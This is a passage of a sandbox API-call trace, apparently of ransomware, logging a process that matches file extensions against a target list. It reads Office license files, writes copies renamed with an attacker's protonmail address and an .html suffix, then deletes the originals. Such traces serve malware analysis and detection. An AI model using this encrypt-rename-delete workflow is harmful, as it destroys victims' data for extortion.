	[0192.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.223] lstrlenW (lpString=".jpg") returned 4
	[0192.223] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.223] lstrlenW (lpString=".doc") returned 4
	[0192.223] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".docx") returned 5
	[0192.223] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.223] lstrlenW (lpString=".pdf") returned 4
	[0192.223] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".xls") returned 4
	[0192.223] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".xlsx") returned 5
	[0192.223] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.223] lstrlenW (lpString=".ppt") returned 4
	[0192.223] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.223] lstrlenW (lpString=".zip") returned 4
	[0192.223] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".rar") returned 4
	[0192.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".bz2") returned 4
	[0192.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.223] lstrlenW (lpString=".7z") returned 3
	[0192.223] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.223] lstrlenW (lpString=".dbf") returned 4
	[0192.223] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.224] lstrlenW (lpString=".1cd") returned 4
	[0192.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0192.224] lstrlenW (lpString=".jpg") returned 4
	[0192.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.224] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.224] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0192.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.225] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11582) returned 1
	[0192.225] CloseHandle (hObject=0x574) returned 1
	[0192.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0192.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.226] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.226] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.227] GetLastError () returned 0x0
	[0192.227] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0192.245] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0192.246] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.246] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0192.247] SetEndOfFile (hFile=0x580) returned 1
	[0192.247] CloseHandle (hObject=0x580) returned 1
	[0192.247] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.247] SetEndOfFile (hFile=0x574) returned 1
	[0192.254] CloseHandle (hObject=0x574) returned 1
	[0192.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0192.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.259] lstrlenW (lpString=".doc") returned 4
	[0192.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.259] lstrlenW (lpString=".docx") returned 5
	[0192.259] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.259] lstrlenW (lpString=".pdf") returned 4
	[0192.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.259] lstrlenW (lpString=".xls") returned 4
	[0192.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.259] lstrlenW (lpString=".xlsx") returned 5
	[0192.259] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.260] lstrlenW (lpString=".ppt") returned 4
	[0192.260] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.260] lstrlenW (lpString=".zip") returned 4
	[0192.260] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString=".rar") returned 4
	[0192.260] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString=".bz2") returned 4
	[0192.260] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString=".7z") returned 3
	[0192.260] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.260] lstrlenW (lpString=".dbf") returned 4
	[0192.260] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.260] lstrlenW (lpString=".1cd") returned 4
	[0192.260] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.261] lstrlenW (lpString=".jpg") returned 4
	[0192.261] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.261] lstrlenW (lpString=".doc") returned 4
	[0192.261] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".docx") returned 5
	[0192.261] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.261] lstrlenW (lpString=".pdf") returned 4
	[0192.261] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".xls") returned 4
	[0192.261] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".xlsx") returned 5
	[0192.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.261] lstrlenW (lpString=".ppt") returned 4
	[0192.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.261] lstrlenW (lpString=".zip") returned 4
	[0192.261] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".rar") returned 4
	[0192.261] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".bz2") returned 4
	[0192.261] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString=".7z") returned 3
	[0192.261] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.261] lstrlenW (lpString=".dbf") returned 4
	[0192.261] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.262] lstrlenW (lpString=".1cd") returned 4
	[0192.262] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0192.262] lstrlenW (lpString=".jpg") returned 4
	[0192.262] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.262] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.262] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23
	[0192.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.263] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10627) returned 1
	[0192.263] CloseHandle (hObject=0x574) returned 1
	[0192.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220
	[0192.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.264] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.264] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.607] GetLastError () returned 0x0
	[0192.607] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0192.610] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0192.612] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.612] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1
	[0192.612] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.612] CloseHandle (hObject=0x5ec) returned 1
	[0192.612] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.612] SetEndOfFile (hFile=0x574) returned 1
	[0192.615] CloseHandle (hObject=0x574) returned 1
	[0192.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1
	[0192.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.619] lstrlenW (lpString=".doc") returned 4
	[0192.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.619] lstrlenW (lpString=".docx") returned 5
	[0192.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.619] lstrlenW (lpString=".pdf") returned 4
	[0192.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.619] lstrlenW (lpString=".xls") returned 4
	[0192.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.619] lstrlenW (lpString=".xlsx") returned 5
	[0192.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.619] lstrlenW (lpString=".ppt") returned 4
	[0192.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.619] lstrlenW (lpString=".zip") returned 4
	[0192.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.620] lstrlenW (lpString=".rar") returned 4
	[0192.620] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.620] lstrlenW (lpString=".bz2") returned 4
	[0192.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.620] lstrlenW (lpString=".7z") returned 3
	[0192.621] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString=".dbf") returned 4
	[0192.621] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString=".1cd") returned 4
	[0192.621] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString=".jpg") returned 4
	[0192.621] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString=".doc") returned 4
	[0192.621] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString=".docx") returned 5
	[0192.621] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.621] lstrlenW (lpString=".pdf") returned 4
	[0192.621] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString=".xls") returned 4
	[0192.621] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString=".xlsx") returned 5
	[0192.621] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.621] lstrlenW (lpString=".ppt") returned 4
	[0192.621] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.621] lstrlenW (lpString=".zip") returned 4
	[0192.622] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.622] lstrlenW (lpString=".rar") returned 4
	[0192.622] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.622] lstrlenW (lpString=".bz2") returned 4
	[0192.622] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.622] lstrlenW (lpString=".7z") returned 3
	[0192.622] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.622] lstrlenW (lpString=".dbf") returned 4
	[0192.622] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.622] lstrlenW (lpString=".1cd") returned 4
	[0192.622] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73
	[0192.622] lstrlenW (lpString=".jpg") returned 4
	[0192.622] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.622] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.622] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23
	[0192.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.623] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20967) returned 1
	[0192.623] CloseHandle (hObject=0x574) returned 1
	[0192.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220
	[0192.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.624] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.624] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.625] GetLastError () returned 0x0
	[0192.625] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x51e7, lpOverlapped=0x0) returned 1
	[0192.628] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x51f0, lpOverlapped=0x0) returned 1
	[0192.629] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.629] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1
	[0192.629] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.630] CloseHandle (hObject=0x5ec) returned 1
	[0192.630] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.630] SetEndOfFile (hFile=0x574) returned 1
	[0192.635] CloseHandle (hObject=0x574) returned 1
	[0192.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1
	[0192.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.636] lstrlenW (lpString=".doc") returned 4
	[0192.636] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.636] lstrlenW (lpString=".docx") returned 5
	[0192.636] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.636] lstrlenW (lpString=".pdf") returned 4
	[0192.636] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.636] lstrlenW (lpString=".xls") returned 4
	[0192.636] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.636] lstrlenW (lpString=".xlsx") returned 5
	[0192.636] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.637] lstrlenW (lpString=".ppt") returned 4
	[0192.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString=".zip") returned 4
	[0192.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString=".rar") returned 4
	[0192.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString=".bz2") returned 4
	[0192.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
